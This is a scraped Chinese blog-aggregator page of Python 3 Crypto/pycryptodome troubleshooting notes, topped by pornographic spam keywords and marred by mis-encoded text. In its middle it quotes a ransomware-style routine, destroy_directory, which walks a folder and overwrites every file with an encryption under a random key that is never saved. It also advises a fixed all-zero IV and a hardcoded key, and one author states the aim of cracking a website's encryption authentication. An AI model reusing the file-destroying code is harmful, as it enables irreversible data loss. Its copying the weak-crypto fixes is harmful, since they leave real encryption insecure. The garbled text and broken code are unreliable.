日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪(fǎng)問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程语言 > python >内容正文

python

python3 Crypto使用出现的问题

發(fā)布時(shí)間:2023/11/30 python 23 豆豆
生活随笔 收集整理的這篇文章主要介紹了 python3 Crypto使用出现的问题 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

?

python3 安裝Crypto 出現(xiàn)的問(wèn)題

python3 import Crypto 失敗的解決辦法 (AES對(duì)稱(chēng)加密使用 模塊)
# 先導(dǎo)入所需要的包

pip3 install Crypto

# 再安裝pycrypto

pip3 install pycrypto

?

from?Crypto.Cipher?import?AES??# 就成功了

?

-------------------------------

?

python3安裝crypto出錯(cuò),及解決方法

?

首先我用的python3.5的版本

問(wèn)題的由來(lái),我想通過(guò)python去實(shí)現(xiàn)RSA加密算法時(shí),破解某網(wǎng)站的js加密認(rèn)證,網(wǎng)上說(shuō)需要安裝pycrypto,我就去進(jìn)行pip安裝了

pip install pycrypto
錯(cuò)誤信息如下

?error: Microsoft Visual C++ 14.0 is required. Get it with "Microsoft Visual C++ Build
經(jīng)過(guò)網(wǎng)上查詢(xún)信息,才知道這個(gè)庫(kù)以及不再更新了,所以安裝的時(shí)候會(huì)出一些錯(cuò),因?yàn)閏++編譯環(huán)境有所問(wèn)題吧

后來(lái)我發(fā)現(xiàn)了這個(gè)庫(kù)?pycryptodome,它是和上面這個(gè)庫(kù)一樣的,實(shí)現(xiàn)了一些加密算法

pip install pycryptodome
很好,安裝很順利的成功了

于是我就很開(kāi)心的打開(kāi)pycharm,進(jìn)行代碼書(shū)寫(xiě)了,但是呢?我發(fā)現(xiàn)我怎么不能順利的導(dǎo)包

from Crypto.PublicKey import RSA
pycharm也是提醒我書(shū)寫(xiě)有誤,但我看官方文檔的例子,它也是這樣的導(dǎo)包的,我不信還是運(yùn)行了程序,果然還是出錯(cuò)了

ImportError: No module named 'Crypto'
最后才發(fā)現(xiàn),我需要在python35中改下包的名字,

# 這是我pycryptodome庫(kù)安裝的目錄
# C:\python35\Lib\site-packages
?
# 在這個(gè)目錄你找到這個(gè)文件夾的名字:crypto
# 將這個(gè)文件夾的名字改為: Crypto
通過(guò)上面的操作,就能成功的導(dǎo)入了

?

?

---------------------------------

?

?

from Crypto.Util.py3compat import byte_string ImportError: cannot import name 'byte_string'

?

?

pip3 uninstall pycrypto
pip3 uninstall pycryptodome
pip3 install pycryptodome
1
2
關(guān)于Crypto的安裝問(wèn)題,參考
https://www.cnblogs.com/fawaikuangtu123/p/9761943.html

===============================================

?

問(wèn)題代碼:

def?pad(s):

????return?s?+?b"\0"?*?(AES.block_size?-?len(s)?%?AES.block_size)???#將s與AES.block_size整數(shù)倍對(duì)齊

?

def?encrypt(message,?key,?key_size=256):???????????#對(duì)文件進(jìn)行??

????message?=?pad(message)??????????????????????????#獲取對(duì)齊后的文件流

????#iv?=?Random.new().read(AES.block_size)?????????????#

????iv?=?os.urandom(16)?????????????#?????????????

????#iv?=?str(iv).encode('utf-8')

????#key?=?str(key).encode('utf-8')

????#print(type(iv))

????message?=?message.decode("utf8",?errors="replace")

????key?=?key.encode('utf-8')

????iv?=?iv.decode("utf8",?errors="replace")

????cipher?=?AES.new(key,?AES.MODE_CBC,?b'0000000000000000')?????????????????????#執(zhí)行加密前的設(shè)置

#????cipher?=?cipher.decode('utf-8')

????return?iv?+?str(cipher.encrypt(message.encode('utf-8')))???????????????#加密返回

?

def?encrypt_file(file_name,?key):??????????#執(zhí)行文件加密函數(shù),就是對(duì)文件打開(kāi),寫(xiě)入

????with?open(file_name,?'rb')?as?fo:

????????plaintext?=?fo.read()

????enc?=?encrypt(plaintext,?key)

????with?open(file_name,?'wb')?as?fo:

????????fo.write(bytes(enc.encode('utf-8')))


?

#creates?key?with?n?lenght?for?'encrypt_file'?function

def?create_key(n):????????????????#生成密鑰函數(shù)??????

????key?=?''.join([random.choice(string.ascii_letters?+?string.digits)?for?n?in?range(n)])??#這里會(huì)循環(huán)n次每次random隨機(jī)函數(shù)會(huì)從輸入的序列中隨機(jī)取一個(gè)數(shù)<str>類(lèi)型,并加入到key字符串中

????return?key

?

#calls?encrypt_file?function?for?files?in?location,?subdirectories?of?location

def?destroy_directory(location):

????for?root,?_,?files?in?os.walk(location):???????#將輸入的文件路徑,分離分為根目錄,文件夾名稱(chēng),和文件列表

????????for?fil?in?files:

????????????fname?=?os.path.join(root,?fil)????????#從文件列表中取文件名與根目錄組合形成文件路徑

????????????encrypt_file(fname,create_key(32))?????#執(zhí)行文件加密

????????????print(fname?+?"?is?encrypted")

????print("---Action?completed!---")

????#finish_control?=?1?#listener?function?ends#?????#這個(gè)位設(shè)置,結(jié)束listen函數(shù),表明文件加密全部完成,也是結(jié)束加密程序的位置

????global?finish_control?#making?it?global,?it's?now?available?for?listener?function

????finish_control?=?1

?

?

----------------------------------------------------------------------

?

報(bào)錯(cuò)解決:TypeError: Object type class 'str' cannot be passed to C code

text=text.encode("utf-8")
key=key.encode("utf-8")
iv=key.encode("utf-8")

明文,密鑰,IV都要編碼

?

======================================================

?

ValueError: IV must be 16 bytes long問(wèn)題的解決

在這個(gè)里邊兒 AES.new(self.key, self.mode)加上這樣一串字符就可以了,就想這樣:

cryptor = AES.new(self.key, self.mode, b'0000000000000000')

6

?

?

用這個(gè):

from Crypto.Cipher import AES import binascii,osdef aes_encrypt(plaintext):key = "00112233445566778899aabbccddeeff"iv = os.urandom(16)aes_mode = AES.MODE_CBCobj = AES.new(key, aes_mode, iv)ciphertext = obj.encrypt(plaintext)return ciphertext

工作方式如下:

>>> aes_encrypt("TestTestTestTest") 'r_\x18\xaa\xac\x9c\xdb\x18n\xc1\xa4\x98\xa6sm\xd3' >>>

區(qū)別在于:

>>> iv = binascii.hexlify(os.urandom(16)) >>> iv '9eae3db51f96e53f94dff9c699e9e849' >>> len(iv) 32 >>> iv = os.urandom(16) >>> iv '\x16fdw\x9c\xe54]\xc2\x12!\x95\xd7zF\t' >>> len(iv) 16 >>>

?

?

====================================

?

'bytes' object has no attribute 'encode'

python3中,編碼的時(shí)候區(qū)分了字符串和二進(jìn)制
encode 改為 decode 就可以了

?

?

?

========================================

python3 UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte

Python3

代碼:

from urllib.request import urlopen
from urllib.request import Request
?
url = "http://www.baidu.com"
ua_header = {"User-Agent":"Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0;"}
#url作為Request()方法的參數(shù)
request = Request(url, headers = ua_header)
?
#向指定的url發(fā)送請(qǐng)求
response = urlopen(request)
?
#類(lèi)文件對(duì)象的支持 文件對(duì)象的操作方法
html = response.read()
#打印字符串
print(html.decode("utf8"))

報(bào)錯(cuò):

UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte
解決方案:

print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
雖然問(wèn)題解決了但是,中間遇到一個(gè)問(wèn)題,不是很明白,

第一次把

print(html.decode("utf8"))
改成
print(html.decode("utf8", errors="replace"))
完美解決報(bào)錯(cuò)問(wèn)題,

(UnicodeDecodeError: 'utf-8' codec can't decode byte 0x8b in position 1: invalid start byte)

但是后面又寫(xiě)了幾遍代碼,寫(xiě)成

print(html.decode("utf8", errors="replace"))
有幾次,會(huì)出現(xiàn)亂碼問(wèn)題,如果再改成
print(html.decode("utf8"))
之后,也不報(bào)錯(cuò),也不亂碼,兩個(gè)問(wèn)題完美都解決了。
?

總結(jié)

以上是生活随笔為你收集整理的python3 Crypto使用出现的问题的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。